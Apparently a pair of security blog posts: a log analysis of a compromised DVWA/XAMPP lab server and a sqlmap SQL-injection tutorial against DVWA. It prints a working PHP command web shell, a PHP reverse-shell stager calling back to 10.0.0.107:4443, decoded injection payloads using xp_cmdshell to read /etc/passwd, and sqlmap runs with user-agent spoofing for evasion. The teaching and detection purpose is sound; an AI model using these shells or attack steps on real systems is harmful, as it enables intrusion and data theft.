      1 C:/xampp/htdocs/xampp/tmpucfol.php'
      1 C:/xampp/htdocs/tmpusbtm.php'
      1 C:/xampp/htdocs/tmpupivc.php'
      1 C:/xampp/htdocs/tmpupdqm.php'
      1 C:/xampp/htdocs/tmpukwkd.php'
      1 C:/xampp/htdocs/tmpugbqx.php'
      1 C:/xampp/htdocs/tmpucpje.php'
      1 C:/xampp/htdocs/tmpucfol.php'
      1 C:/xampp/htdocs/tmpuaivl.php'
      1 C:/xampp/htdocs/server.php'
      1 C:/xampp/htdocs/DVWA/vulnerabilities/sqli/tmpupdqm.php'
      1 C:/xampp/htdocs/DVWA/vulnerabilities/sqli/tmpukwkd.php'
      1 C:/xampp/htdocs/DVWA/vulnerabilities/sqli/tmpugbqx.php'
      1 C:/xampp/htdocs/DVWA/vulnerabilities/sqli/tmpuaivl.php'
kali@securtynik:~/potentialCompromise/Suspect-Compromise$ 

At this point, we are left to wonder what are all those filenames. So we reach out to our Administrator and ask her if those files exists on the impacted system.

Looking in the "c:\xampp\htdocs\" folders, she sees:

C:\>dir c:\xampp\htdocs\tmp*.php
 Volume in drive C has no label.
 Volume Serial Number is 6C10-15EA

 Directory of c:\xampp\htdocs

06/23/2020  03:47 PM               866 tmpbaofx.php
06/23/2020  02:37 PM               866 tmpbbfgh.php
06/24/2020  01:49 PM               866 tmpbemfa.php
06/24/2020  03:52 PM               866 tmpbfkst.php
06/24/2020  03:52 PM               719 tmpuevkq.php
06/23/2020  03:47 PM               720 tmpugugb.php
06/24/2020  01:49 PM               719 tmpuozez.php
06/23/2020  02:37 PM               722 tmputuei.php
               8 File(s)          6,344 bytes
               0 Dir(s)   6,873,497,600 bytes free

While it is not shown, this behaviour is much the same when she looks into the other folders. We then ask her to use the "type" command to see the contents of one of the files. She then executes:

C:\>type c:\xampp\htdocs\tmpbaofx.php                                              
<?php $c=$_REQUEST["cmd"];@set_time_limit(0);@ignore_user_abort(1);@ini_set("max_execution_time",0);$z=@ini_get("disable_functions");if(!empty($z)){$z=preg_replace("/[, ]+/",',',$z);$z=explode(',',$z);$z=array_map("trim",$z);}else{$z=array();}$c=$c." 2>&1\n";function f($n){global $z;return is_callable($n)and!in_array($n,$z);}if(f("system")){ob_start();system($c); \ $w=ob_get_clean();}elseif(f("proc_open")){$y=proc_open($c,array(array(pipe,r),array(pipe,w),array(pipe,w)),$t);$w=NULL;while(!feof($t[1])){$w.=fread($t[1],512);}@proc_close($y);}elseif(f("shell_exec")){$w=shell_exec($c);}elseif(f("passthru")){ob_start();passthru($c);$w=ob_get_clean();}elseif(f("popen")){$x=popen($c,r);$w=NULL;if(is_resource($x)){while(!feof($x)){$w.=fread($x,512);}}@pclose($x);}elseif(f("exec")){$w=array();exec($c,$w);$w=join(chr(10),$w).chr(10);}else{$w=0;}echo"<pre>$w</pre>";?>    

Knowing neither this file nor its contents should be on the server, she then confirms that it is more than likely this system has been compromised. Additionally, while she may not be a PHP expert, she knows that looking and entries above such as "cmd", "system", "system", "popen", etc., it is more than likely the script is interacting with the file system. These files are now considered as artifacts of this incident and indicators of compromise (IoC).

Continuing with the log analysis, we now look at the "access.log", with a focus on the entries with the suspect IP address of "10.0.0.107". Let's now learn about the type of host the attacker might have used to connect to our system. The quickest way to get this insight is via the User agent string. While this can be helpful, note it can also be easily spoofed. However, we will still used this. Looking at a sample entry in the log file.

kali@securtynik:~/potentialCompromise/Suspect-Compromise$ cat --number access.log | more
     1  10.0.0.108 - - [24/Jun/2020:15:08:41 -0400] "GET /dvwa/login.php HTTP/1.1" 200 1523 "-" "Opera/9.80 (Windows NT 6.2;
 WOW64) Presto/2.12.388 Version/12.14"
     2  10.0.0.108 - - [24/Jun/2020:15:08:41 -0400] "GET /dvwa/dvwa/css/login.css HTTP/1.1" 200 842 "http://10.0.0.108/dvwa/
login.php" "Opera/9.80 (Windows NT 6.2; WOW64) Presto/2.12.388 Version/12.14"

From the log entry, it seems the user-agent is found as the last field. Extracting that information with once again some command line kung fu.

kali@securtynik:~/potentialCompromise/Suspect-Compromise$ cat access.log | grep "10.0.0.107" --color=always | cut --fields 6 --delimiter "\"" 
......

Opera/9.23 (Windows NT 5.1; U; da)
Opera/9.23 (Windows NT 5.1; U; da)
Opera/9.23 (Windows NT 5.1; U; da)
-
Mozilla/5.0 (X11; Linux x86_64; rv:68.0) Gecko/20100101 Firefox/68.0
Mozilla/5.0 (X11; Linux x86_64; rv:68.0) Gecko/20100101 Firefox/68.0
Mozilla/5.0 (X11; Linux x86_64; rv:68.0) Gecko/20100101 Firefox/68.0
Mozilla/5.0 (X11; Linux x86_64; rv:68.0) Gecko/20100101 Firefox/68.0

At this point we should be wondering why all these different user agents for the same host. Let's see if there is anything more interesting going on here. Let's now break down the output even further, with the aim of making sense of these different user agents.

kali@securtynik:~/potentialCompromise/Suspect-Compromise$ cat access.log | grep "10.0.0.107" --color=always | cut --fields 6 --delimiter "\"" | sort | uniq --count | sort --numeric --reverse
    702 sqlmap/1.4.6#stable (http://sqlmap.org)
    220 Opera/9.23 (Windows NT 5.1; U; da)
    154 Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.9.1b3pre) Gecko/20090213 Firefox/3.0.1b3pre
    153 Mozilla/5.0 (Windows NT 6.2; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/32.0.1667.0 Safari/537.36
    153 Mozilla/5.0 (Macintosh; PPC Mac OS X 10_6_7) AppleWebKit/535.1 (KHTML, like Gecko) Chrome/14.0.790.0 Safari/535.1
    152 Opera/9.80 (Windows NT 6.1; WOW64) Presto/2.12.388 Version/12.18
    152 Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.9.2.10) Gecko/20100915 Ubuntu/9.04 (jaunty) Firefox/3.6.10
    152 Mozilla/5.0 (X11; U; Linux i686; en-GB; rv:1.9.2.11) Gecko/20101013 Ubuntu/10.10 (maverick) Firefox/3.6.10
    152 Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.3 (KHTML, like Gecko) Chrome/6.0.459.0 Safari/534.3
    152 Mozilla/5.0 (Windows; U; Windows NT 5.1; es-ES) AppleWebKit/525.28 (KHTML, like Gecko) Version/3.2.2 Safari/525.28.1
    152 Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US) AppleWebKit/525.13 (KHTML, like Gecko) Chrome/7.0.0 Safari/700.13
    152 Mozilla/5.0 (Macintosh; U; Intel Mac OS X 10_6_0; en-US) AppleWebKit/533.4 (KHTML, like Gecko) Chrome/5.0.375.86 Safari/533.4
     30 Mozilla/5.0 (X11; Linux x86_64; rv:68.0) Gecko/20100101 Firefox/68.0
      2 -

Wow! Lots of different User agents from the same host. This can be for different reasons. Maybe different applications accessing our environment. However, the one of concern for us is:
     
702 sqlmap/1.4.6#stable (http://sqlmap.org)

Let's see what else the threat actor at "10.0.0.107" might have done against our system. Specifically let's look at the HTTP methods.

kali@securtynik:~/potentialCompromise/Suspect-Compromise$ cat access.log | grep "10.0.0.107" --color=always | cut --fields 2 --delimiter "\"" | sort | uniq --count | sort --numeric --reverse | more
2380 POST /dvwa/vulnerabilities/sqli/ HTTP/1.1
      3 GET /tmpbfkst.php?cmd=help HTTP/1.1
      2 POST /tmpuevkq.php HTTP/1.1
      2 POST /dvwa/login.php HTTP/1.1
      2 GET /tmpuevkq.php HTTP/1.1
      2 GET /tmpbfkst.php?cmd=systeminfo HTTP/1.1
      2 GET /server.php HTTP/1.1
      2 GET /dvwa/vulnerabilities/captcha/ HTTP/1.1
      2 GET /dvwa/setup.php HTTP/1.1
      2 GET /dvwa/security.php HTTP/1.1
      2 GET /dvwa/login.php HTTP/1.1
      2 -
      1 POST /dvwa/vulnerabilities/sqli/?ZYVv=8330%20AND%201%3D1%20UNION%20ALL%20SELECT%201%2CNULL%2C%27%3Cscript%3Ealert%28
%22XSS%22%29%3C%2Fscript%3E%27%2Ctable_name%20FROM%20information_schema.tables%20WHERE%202%3E1--%2F%2A%2A%2F%3B%20EXEC%20xp_
cmdshell%28%27cat%20..%2F..%2F..%2Fetc%2Fpasswd%27%29%23 HTTP/1.1
      1 POST /dvwa/vulnerabilities/sqli/?ydiY=9356%20AND%201%3D1%20UNION%20ALL%20SELECT%201%2CNULL%2C%27%3Cscript%3Ealert%28
%22XSS%22%29%3C%2Fscript%3E%27%2Ctable_name%20FROM%20information_schema.tables%20WHERE%202%3E1--%2F%2A%2A%2F%3B%20EXEC%20xp_
cmdshell%28%27cat%20..%2F..%2F..%2Fetc%2Fpasswd%27%29%23 HTTP/1.1
      1 POST /dvwa/vulnerabilities/sqli/?xCGT=7215%20AND%201%3D1%20UNION%20ALL%20SELECT%201%2CNULL%2C%27%3Cscript%3Ealert%28
%22XSS%22%29%3C%2Fscript%3E%27%2Ctable_name%20FROM%20information_schema.tables%20WHERE%202%3E1--%2F%2A%2A%2F%3B%20EXEC%20xp_
cmdshell%28%27cat%20..%2F..%2F..%2Fetc%2Fpasswd%27%29%23 HTTP/1.1
      1 POST /dvwa/vulnerabilities/sqli/?VxNq=1247%20AND%201%3D1%20UNION%20ALL%20SELECT%201%2CNULL%2C%27%3Cscript%3Ealert%28
%22XSS%22%29%3C%2Fscript%3E%27%2Ctable_name%20FROM%20information_schema.tables%20WHERE%202%3E1--%2F%2A%2A%2F%3B%20EXEC%20xp_
cmdshell%28%27cat%20..%2F..%2F..%2Fetc%2Fpasswd%27%29%23 HTTP/1.1
      1 POST /dvwa/vulnerabilities/sqli/?okRh=6965%20AND%201%3D1%20UNION%20ALL%20SELECT%201%2CNULL%2C%27%3Cscript%3Ealert%28
%22XSS%22%29%3C%2Fscript%3E%27%2Ctable_name%20FROM%20information_schema.tables%20WHERE%202%3E1--%2F%2A%2A%2F%3B%20EXEC%20xp_
cmdshell%28%27cat%20..%2F..%2F..%2Fetc%2Fpasswd%27%29%23 HTTP/1.1
      1 POST /dvwa/vulnerabilities/sqli/?NfIT=2391%20AND%201%3D1%20UNION%20ALL%20SELECT%201%2CNULL%2C%27%3Cscript%3Ealert%28
%22XSS%22%29%3C%2Fscript%3E%27%2Ctable_name%20FROM%20information_schema.tables%20WHERE%202%3E1--%2F%2A%2A%2F%3B%20EXEC%20xp_
cmdshell%28%27cat%20..%2F..%2F..%2Fetc%2Fpasswd%27%29%23 HTTP/1.1
............

From the looks of above, it seems with a large number of entries in our "access.log" file pointing to "/dvwa/vulnerabilities/sqli/", it is quite possible there is a vulnerability at this location of the site.

Additionally, if we look we see 

3 GET /tmpbfkst.php?cmd=help HTTP/1.1
2 GET /tmpbfkst.php?cmd=systeminfo HTTP/1.1

If we tie this back into our earlier analysis, we can conclude the files in question which we asked the Administrator to see if they exist, are used for executing commands.

Looking to see what some of the other lines represent, we then leverage a URL decoder. Upon conversion we see the following for the lines above.

1   POST/dvwa/vulnerabilities/sqli/?ZYVv=8330 AND 1=1 UNION ALL SELECT 1,NULL,'<script>alert("XSS")</script>',table_name FROM information_schema.tables WHERE 2>1--/**/; EXEC xp_cmdshell('cat ../../../etc/passwd')#HTTP/1.1

1   POST/dvwa/vulnerabilities/sqli/?ydiY=9356 AND 1=1 UNION ALL SELECT 1,NULL,'<script>alert("XSS")</script>',table_name FROM information_schema.tables WHERE 2>1--/**/; EXEC xp_cmdshell('cat ../../../etc/passwd')#HTTP/1.1

1   POST/dvwa/vulnerabilities/sqli/?xCGT=7215 AND 1=1 UNION ALL SELECT 1,NULL,'<script>alert("XSS")</script>',table_name FROM information_schema.tables WHERE 2>1--/**/; EXEC xp_cmdshell('cat ../../../etc/passwd')#HTTP/1.1

Looking to see what other actions the attacker might have performed, if we look at additional entries for which "cmd" is used, we see

kali@securtynik:~/potentialCompromise/Suspect-Compromise$ cat access.log | grep "10.0.0.107" | grep "cmd=" | awk --field-separator "\"" '{ print $2 }' | sort | uniq --count | sort --numeric --reverse
      3 GET /tmpbfkst.php?cmd=help HTTP/1.1
      2 GET /tmpbfkst.php?cmd=systeminfo HTTP/1.1
      1 GET /tmpbfkst.php?cmd=wmic%20useraccount HTTP/1.1
      1 GET /tmpbfkst.php?cmd=query HTTP/1.1
      1 GET /tmpbfkst.php?cmd=query%20user HTTP/1.1
      1 GET /tmpbfkst.php?cmd=HELP%20CMD HTTP/1.1
      1 GET /tmpbfkst.php?cmd=echo%20command%20execution%20test HTTP/1.1
      1 GET /tmpbfkst.php?cmd=CMD HTTP/1.1
      1 GET /tmpbfkst.php?cmd=cmd HTTP/1.1
      1 GET /tmpbfkst.php?cmd=cmd.exe%20%2Fc%20query%20user HTTP/1.1
      1 GET /tmpbfkst.php?cmd=cmd%20whoami HTTP/1.1
      1 GET /tmpbfkst.php?cmd=CMD%20%2Fc%20%22query%20user%22 HTTP/1.1
      1 GET /tmpbfkst.php?cmd=CMD%20%22%2FC%20query%20user%22 HTTP/1.1

From above, we can see clearly some of the commands which were executed. Ultimately, to tidy this up more, feel free to dump the lines into a URL decoder.

If we step back for a second, we see a number of "404" errors before we see "200". It seems like some type of brute force mechanism was used to locate these files.

kali@securtynik:~/potentialCompromise/Suspect-Compromise$ cat access.log | grep "10.0.0.107" | grep "tmp" | awk --field-separator "\"" '{ print $2 "\t" $3 }' 
GET /xampp/tmpucfol.php HTTP/1.1         404 1054 
GET /tmpucfol.php HTTP/1.1       404 1054 
GET /xampp/tmpucpje.php HTTP/1.1         404 1054 
GET /tmpucpje.php HTTP/1.1       404 1054 
GET /xampp/dvwa/vulnerabilities/sqli/tmpukwkd.php HTTP/1.1       404 1054 
......
GET /htdocs/tmpuevkq.php HTTP/1.1        404 1054 
GET /tmpuevkq.php HTTP/1.1       200 314 
POST /tmpuevkq.php HTTP/1.1      200 24 
GET /tmpbfkst.php?cmd=echo%20command%20execution%20test HTTP/1.1         200 36 
GET /tmpbfkst.php?cmd=help HTTP/1.1      200 5751 

As we go through the "GET" requests to painstakingly understand which files were requested versus which files we know should be there, we come up with a file named "server.php"

kali@securtynik:~/potentialCompromise/Suspect-Compromise$ cat access.log | grep "10.0.0.107" | grep --perl-regexp "GET.*?\"" --color=always --only-matching | sort | uniq --count | sort --numeric --reverse | grep server 
      2 GET /server.php HTTP/1.1"

Expanding on the log entries where "server.php" was seen. 

kali@securtynik:~/potentialCompromise/Suspect-Compromise$ cat access.log | grep --perl-regexp "server.php"
10.0.0.107 - - [24/Jun/2020:17:01:17 -0400] "GET /server.php HTTP/1.1" 404 1054 "-" "Mozilla/5.0 (X11; Linux x86_64; rv:68.0) Gecko/20100101 Firefox/68.0"
10.0.0.107 - - [24/Jun/2020:17:07:11 -0400] "GET /server.php HTTP/1.1" 200 9 "-" "Mozilla/5.0 (X11; Linux x86_64; rv:68.0) Gecko/20100101 Firefox/68.0"

We see once again the "404" message for "server.php" then a "200" message. At this point it would be safe to conclude the attacker probably uploaded these files to the server as initially the file was not there, then it appeared. 

Asking the Administrator to provide some guidance on this file, she mentioned she doesn't know of it. When we read the contents of the file on the impacted server, we see:

C:\>dir c:\xampp\htdocs\server.php
 Volume in drive C has no label.
 Volume Serial Number is 6C10-15EA

 Directory of c:\xampp\htdocs

06/24/2020  05:01 PM             1,110 server.php
               1 File(s)          1,110 bytes
               0 Dir(s)   6,870,552,576 bytes free


C:\>type c:\xampp\htdocs\server.php
<?php /**/ error_reporting(0); $ip = '10.0.0.107'; $port = 4443; if (($f = 'stream_socket_client') && is_callable($f)) { $s = $f("tcp://{$ip}:{$port}"); $s_type = 'stream'; } if (!$s && ($f = 'fsockopen') && is_callable($f)) { $s = $f($ip, $port); $s_type = 'stream'; } if (!$s && ($f = 'socket_create') && is_callable($f)) { $s = $f(AF_INET, SOCK_STREAM, SOL_TCP); $res = @socket_connect($s, $ip, $port); if (!$res) { die(); } $s_type = 'socket'; } if (!$s_type) { die('no socket funcs'); } if (!$s) { die('no socket'); } switch ($s_type) { case 'stream': $len = fread($s, 4); break; case 'socket': $len = socket_read($s, 4); break; } if (!$len) { die(); } $a = unpack("Nlen", $len); $len = $a['len']; $b = ''; while (strlen($b) < $len) { switch ($s_type) { case 'stream': $b .= fread($s, $len-strlen($b)); break; case 'socket': $b .= socket_read($s, $len-strlen($b)); break; } } $GLOBALS['msgsock'] = $s; $GLOBALS['msgsock_type'] = $s_type; if (extension_loaded('suhosin') && ini_get('suhosin.executor.disable_eval')) { $suhosin_bypass=create_function('', $b); $suhosin_bypass(); } else { eval($b); } die();

Above looks interesting as we see the IP address "10.0.0.107" and port "4443". This would be a good time to transition from our log analysis and begin looking at our packets.

At this point I believe we have gathered a fair amount of information based on our logs to conclude this host was truly pwn'd.

You should at this point along with any other analysis you continue to do, ensure you look at the timeline of when this activity started.

If you would like to learn more about log analysis, see my book Hack and Detect which can be found on Amazon.




Continuing SQL Injection with SQLMap - Exploitation

A while back, I created this post on performing SQL injection manually. In this post, we take advantage of one of the most common tools used for SQL injection. In the next two posts, we will perform, log and packet analysis to detect the activity performed by SQLMap.

To take advantage of the web application, the attacker has to at least understand the basic operation of the application. For this post, we will use the Dam Vulnerable Web Application (DVWA) and its SQLi injection.

When we first access the application, we are provided with a login screen. The default credentials are username "admin" and password "password". In this example, our URL is "http://10.0.0.108/dvwa/login.php"


Once we login and navigate to the SQLi page and enter a value of "1", we get:


Now that we know that entering "1" returned some results, what would happen if we entered a single tick such as ' ?  The server returns the following error:

You have an error in your SQL syntax; check the manual that corresponds to your MariaDB server version for the right syntax to use near ''''' at line 1

From above, we can conclude this site maybe vulnerable to SQL injection attacks. Let's run a test using SQLMap. 

If we look at the URL, from the legitimate request, we see:

http://10.0.0.108/dvwa/vulnerabilities/sqli/?id=1&Submit=Submit#

From above, we see two parameters. These are "id" and "submit". Let's now use these with SQLMap.

When we execute SQLMap, we get:

kali@securtynik:~$ sqlmap --url="http://10.0.0.108/dvwa/vulnerabilities/sqli/" --data="id=1&Submit=Submit#"
        ___
       __H__
 ___ ___[']_____ ___ ___  {1.4.6#stable}
|_ -| . [']     | .'| . |
|___|_  [.]_|_|_|__,|  _|
      |_|V...       |_|   http://sqlmap.org

[!] legal disclaimer: Usage of sqlmap for attacking targets without prior mutual consent is illegal. It is the end user's responsibility to obey all applicable local, state and federal laws. Developers assume no liability and are not responsible for any misuse or damage caused by this program

[*] starting @ 10:58:49 /2020-06-24/

[10:58:50] [INFO] testing connection to the target URL
got a 302 redirect to 'http://10.0.0.108:80/dvwa/login.php'. Do you want to follow? [Y/n]n

Above we see we are being redirected back to the login page 'http://10.0.0.108:80/dvwa/login.php'. Probably would be a bit difficult for us to authenticate from the command line and get back to that page. Fortunately for us, we can use the "--cookie" argument. 

Considering we loged into the application before, we can basically reuse that cookie. Alternatively, if you have another user's cookie, you may be able to authenticate with that also. Let's use the cookie. 

To find the cookie to use, I "right clicked" on the page in question (remember I had logged in before), selected "Inspect" and then selected the "Console" tab. Once in the console, I executed "document.cookie". This returned a cookie of "security=low; PHPSESSID=9s5gt19vcn4b6e33t85dajjvf0"


Now that we have the cookie, let's use it with SQLMap. Let's also use the opportunity to flush any previous session information for the current target, by using the "--flush-session".

kali@securtynik:~$ sqlmap --url="http://10.0.0.108/dvwa/vulnerabilities/sqli/" --data="id=1&Submit=Submit#" --cookie="security=low; PHPSESSID=9s5gt19vcn4b6e33t85dajjvf0" --flush-session
        ___
       __H__
 ___ ___["]_____ ___ ___  {1.4.6#stable}
|_ -| . [.]     | .'| . |
|___|_  [(]_|_|_|__,|  _|
      |_|V...       |_|   http://sqlmap.org

[!] legal disclaimer: Usage of sqlmap for attacking targets without prior mutual consent is illegal. It is the end user's responsibility to obey all applicable local, state and federal laws. Developers assume no liability and are not responsible for any misuse or damage caused by this program

[*] starting @ 11:18:19 /2020-06-24/

[11:18:20] [INFO] testing connection to the target URL
[11:18:21] [INFO] checking if the target is protected by some kind of WAF/IPS
[11:18:21] [INFO] testing if the target URL content is stable
[11:18:21] [INFO] target URL content is stable
[11:18:21] [INFO] testing if POST parameter 'id' is dynamic
[11:18:22] [WARNING] POST parameter 'id' does not appear to be dynamic
[11:18:22] [INFO] heuristic (basic) test shows that POST parameter 'id' might be injectable (possible DBMS: 'MySQL')
[11:18:22] [INFO] heuristic (XSS) test shows that POST parameter 'id' might be vulnerable to cross-site scripting (XSS) attacks
[11:18:22] [INFO] testing for SQL injection on POST parameter 'id'
it looks like the back-end DBMS is 'MySQL'. Do you want to skip test payloads specific for other DBMSes? [Y/n]
.... <truncated for brevity> .....
11:20:35] [WARNING] in OR boolean-based injection cases, please consider usage of switch '--drop-set-cookie' if you experience any problems during data retrieval
POST parameter 'id' is vulnerable. Do you want to keep testing the others (if any)? [y/N] 
sqlmap identified the following injection point(s) with a total of 144 HTTP(s) requests:
.... <truncated for brevity> .....

Looks like we are now able to confirm there is a vulnerability, which we may be able to take advantage of. We can see this above from the 3 lines in bold. 

Now that we know this works, let's enumerate the "banner" via "--banner" argument. We will also use the "--batch" option as there is no need for user input at this time. Additionally, as it was reported above "looks like the back-end DBMS is 'MySQL'". Let's specify this via "--dbms="MySQL"

kali@securtynik:~$ sqlmap --url="http://10.0.0.108/dvwa/vulnerabilities/sqli/" --data="id=1&Submit=Submit#" --cookie="security=low; PHPSESSID=9s5gt19vcn4b6e33t85dajjvf0" --flush-session --batch --dbms="MySQL" --banner
.... <truncated for brevity> .....

---
[12:12:56] [INFO] the back-end DBMS is MySQL
[12:12:56] [INFO] fetching banner
back-end DBMS: MySQL >= 5.0 (MariaDB fork)
banner: '10.1.30-MariaDB'
[12:12:57] [INFO] fetched data logged to text files under '/home/kali/.local/share/sqlmap/output/10.0.0.108'

[*] ending @ 12:12:57 /2020-06-24/

From above, we see the backend database is "MySQL >= 5.0 (MariaDB fork)". Specifically we see the banner "banner: '10.1.30-MariaDB'". 

At this point we can hunt the internet to find vulnerabilities associated with "10.1.30-MariaDB'"

Let's continue this journey. However, before we enumerate the current user ("--current-user"), let's make an attempt to blend in. By default, the version of SQLMap I am using uses a user-agent of "sqlmap/1.4.6#stable (http://sqlmap.org)". Let's make this look like a normal browser by leveraging the "--user-agent" argument.  Let's borrow a user-agents from WhatIsMyBrowser.com. Specifically, let's take the "Opera/9.80 (Windows NT 6.1; WOW64) Presto/2.12.388 Version/12.18" user-agent.

kali@securtynik:~$ sqlmap --url="http://10.0.0.108/dvwa/vulnerabilities/sqli/" --data="id=1&Submit=Submit#" --cookie="security=low; PHPSESSID=9s5gt19vcn4b6e33t85dajjvf0" --flush-session --batch --dbms="MySQL" --user-agent="Opera/9.80 (Windows NT 6.1; WOW64) Presto/2.12.388 Version/12.18" --current-user

.... <truncated for brevity> .....

---
[12:28:55] [INFO] the back-end DBMS is MySQL
back-end DBMS: MySQL >= 5.0 (MariaDB fork)
[12:28:56] [INFO] fetching current user
current user: 'root@localhost'
[12:28:56] [INFO] fetched data logged to text files under '/home/kali/.local/share/sqlmap/output/10.0.0.108'

[*] ending @ 12:28:56 /2020-06-24/

Above, we see  "current user: 'root@localhost'". Never a good thing to run a program as "root". Maybe this will work to our benefit later.

Ok, above it was cool that we can specify a user-agent. How about instead of specifying one, we let SQLMap just do this on its own. As we look to enumerate the current database ("--current-db"), let's also use the "--random-agent".

kali@securtynik:~$ sqlmap --url="http://10.0.0.108/dvwa/vulnerabilities/sqli/" --data="id=1&Submit=Submit#" --cookie="security=low; PHPSESSID=9s5gt19vcn4b6e33t85dajjvf0" --flush-session --batch --dbms="MySQL" --random-agent --current-db
....

[12:34:38] [INFO] fetched random HTTP User-Agent header value 'Mozilla/5.0 (X11; U; Linux i686; pl; rv:1.8) Gecko/20051111 Firefox/1.5 Ubuntu' from file '/usr/share/sqlmap/data/txt/user-agents.txt'

.... <truncated for brevity> .....

---
[12:35:05] [INFO] the back-end DBMS is MySQL
back-end DBMS: MySQL >= 5.0 (MariaDB fork)
[12:35:05] [INFO] fetching current database
current database: 'dvwa'
[12:35:05] [INFO] fetched data logged to text files under '/home/kali/.local/share/sqlmap/output/10.0.0.108'

[*] ending @ 12:35:05 /2020-06-24/

We see above that a user agent was selected from the file "user-agents.txt" along with "current database: 'dvwa'". Let's see what other databases might existing or that we may have access to using "--dbs"

kali@securtynik:~$ sqlmap --url="http://10.0.0.108/dvwa/vulnerabilities/sqli/" --data="id=1&Submit=Submit#" --cookie="security=low; PHPSESSID=9s5gt19vcn4b6e33t85dajjvf0" --flush-session --batch --dbms="MySQL" --random-agent --dbs

.... <truncated for brevity> .....

---
[12:41:28] [INFO] the back-end DBMS is MySQL
back-end DBMS: MySQL >= 5.0 (MariaDB fork)
[12:41:29] [INFO] fetching database names
available databases [7]:
[*] dvwa
[*] information_schema
[*] mysql
[*] nowasp
[*] performance_schema
[*] phpmyadmin
[*] test

Above we see a list of databases available. Looks like we can have fun with some of these. However, let's stick with "dvwa" at this time. We already know that the current user is "root@localhost". Let's see if this user is also a database administrator via "--is-dba"

kali@securtynik:~$ sqlmap --url="http://10.0.0.108/dvwa/vulnerabilities/sqli/" --data="id=1&Submit=Submit#" --cookie="security=low; PHPSESSID=9s5gt19vcn4b6e33t85dajjvf0" --flush-session --batch --dbms="MySQL" --random-agent --is-dba

.... <truncated for brevity> .....
---
[12:45:12] [INFO] the back-end DBMS is MySQL
back-end DBMS: MySQL >= 5.0 (MariaDB fork)
[12:45:12] [INFO] testing if current user is DBA
[12:45:12] [INFO] fetching current user
current user is DBA: True
[12:45:13] [INFO] fetched data logged to text files under '/home/kali/.local/share/sqlmap/output/10.0.0.108'

[*] ending @ 12:45:13 /2020-06-24/

Looks like the current user is a Database Administrator. Let's validate the privileges of the various users via "--privileges". 

Looks like the current user is a Database Administrator. Let's validate the privileges of the various users via "--privileges". 

kali@securtynik:~$ sqlmap --url="http://10.0.0.108/dvwa/vulnerabilities/sqli/" --data="id=1&Submit=Submit#" --cookie="security=low; PHPSESSID=9s5gt19vcn4b6e33t85dajjvf0" --flush-session --batch --dbms="MySQL" --random-agent --privileges
.... <truncated for brevity> .....
back-end DBMS: MySQL >= 5.0 (MariaDB fork)
[12:49:51] [INFO] fetching database users privileges
database management system users privileges:
[*] ''@'localhost' [1]:
    privilege: USAGE
[*] 'pma'@'localhost' [1]:
    privilege: USAGE
[*] 'root'@'127.0.0.1' (administrator) [28]:
    privilege: ALTER
    privilege: ALTER ROUTINE
    privilege: CREATE
    privilege: CREATE ROUTINE
    privilege: CREATE TABLESPACE
    privilege: CREATE TEMPORARY TABLES
    privilege: CREATE USER
    privilege: CREATE VIEW
    privilege: DELETE
    privilege: DROP
    privilege: EVENT
    privilege: EXECUTE
    privilege: FILE
    privilege: INDEX
    privilege: INSERT
    privilege: LOCK TABLES
    privilege: PROCESS
    privilege: REFERENCES
    privilege: RELOAD
    privilege: REPLICATION CLIENT
    privilege: REPLICATION SLAVE
    privilege: SELECT
    privilege: SHOW DATABASES
    privilege: SHOW VIEW
    privilege: SHUTDOWN
    privilege: SUPER
    privilege: TRIGGER
    privilege: UPDATE
[*] 'root'@'::1' (administrator) [28]:
    privilege: ALTER
    privilege: ALTER ROUTINE
    privilege: CREATE
    privilege: CREATE ROUTINE
    privilege: CREATE TABLESPACE
    privilege: CREATE TEMPORARY TABLES
    privilege: CREATE USER
    privilege: CREATE VIEW
    privilege: DELETE
    privilege: DROP
    privilege: EVENT
    privilege: EXECUTE
    privilege: FILE
    privilege: INDEX
    privilege: INSERT
    privilege: LOCK TABLES
    privilege: PROCESS
    privilege: REFERENCES
    privilege: RELOAD
    privilege: REPLICATION CLIENT
    privilege: REPLICATION SLAVE
    privilege: SELECT
    privilege: SHOW DATABASES
    privilege: SHOW VIEW
    privilege: SHUTDOWN
    privilege: SUPER
    privilege: TRIGGER
    privilege: UPDATE
[*] 'root'@'localhost' (administrator) [28]:
    privilege: ALTER
    privilege: ALTER ROUTINE
    privilege: CREATE
    privilege: CREATE ROUTINE
    privilege: CREATE TABLESPACE
    privilege: CREATE TEMPORARY TABLES
    privilege: CREATE USER
    privilege: CREATE VIEW
    privilege: DELETE
    privilege: DROP
    privilege: EVENT
    privilege: EXECUTE
    privilege: FILE
    privilege: INDEX
    privilege: INSERT
    privilege: LOCK TABLES
    privilege: PROCESS
    privilege: REFERENCES
    privilege: RELOAD
    privilege: REPLICATION CLIENT
    privilege: REPLICATION SLAVE
    privilege: SELECT
    privilege: SHOW DATABASES
    privilege: SHOW VIEW
    privilege: SHUTDOWN
    privilege: SUPER
    privilege: TRIGGER
    privilege: UPDATE

[12:49:51] [INFO] fetched data logged to text files under '/home/kali/.local/share/sqlmap/output/10.0.0.108'

[*] ending @ 12:49:51 /2020-06-24/


Liking the program which has been made so far, let's now look at the roles of the various users via "--roles"

kali@securtynik:~$ sqlmap --url="http://10.0.0.108/dvwa/vulnerabilities/sqli/" --data="id=1&Submit=Submit#" --cookie="security=low; PHPSESSID=9s5gt19vcn4b6e33t85dajjvf0" --flush-session --batch --dbms="MySQL" --random-agent --roles

<.... truncated for brevity ..... >
[12:51:48] [INFO] fetched random HTTP User-Agent header value 'Opera/9.01 (X11; Linux i686; U; en)' from file '/usr/share/sqlmap/data/txt/user-agents.txt


12:52:16] [INFO] fetching database users privileges
database management system users roles:
[*] ''@'localhost' [1]:
    role: USAGE
[*] 'pma'@'localhost' [1]:
    role: USAGE
[*] 'root'@'127.0.0.1' (administrator) [28]:
    role: ALTER
    role: ALTER ROUTINE
    role: CREATE
    role: CREATE ROUTINE
    role: CREATE TABLESPACE
    role: CREATE TEMPORARY TABLES
    role: CREATE USER
    role: CREATE VIEW
    role: DELETE
    role: DROP
    role: EVENT
    role: EXECUTE
    role: FILE
    role: INDEX
    role: INSERT
    role: LOCK TABLES
    role: PROCESS
    role: REFERENCES
    role: RELOAD
    role: REPLICATION CLIENT
    role: REPLICATION SLAVE
    role: SELECT
    role: SHOW DATABASES
    role: SHOW VIEW
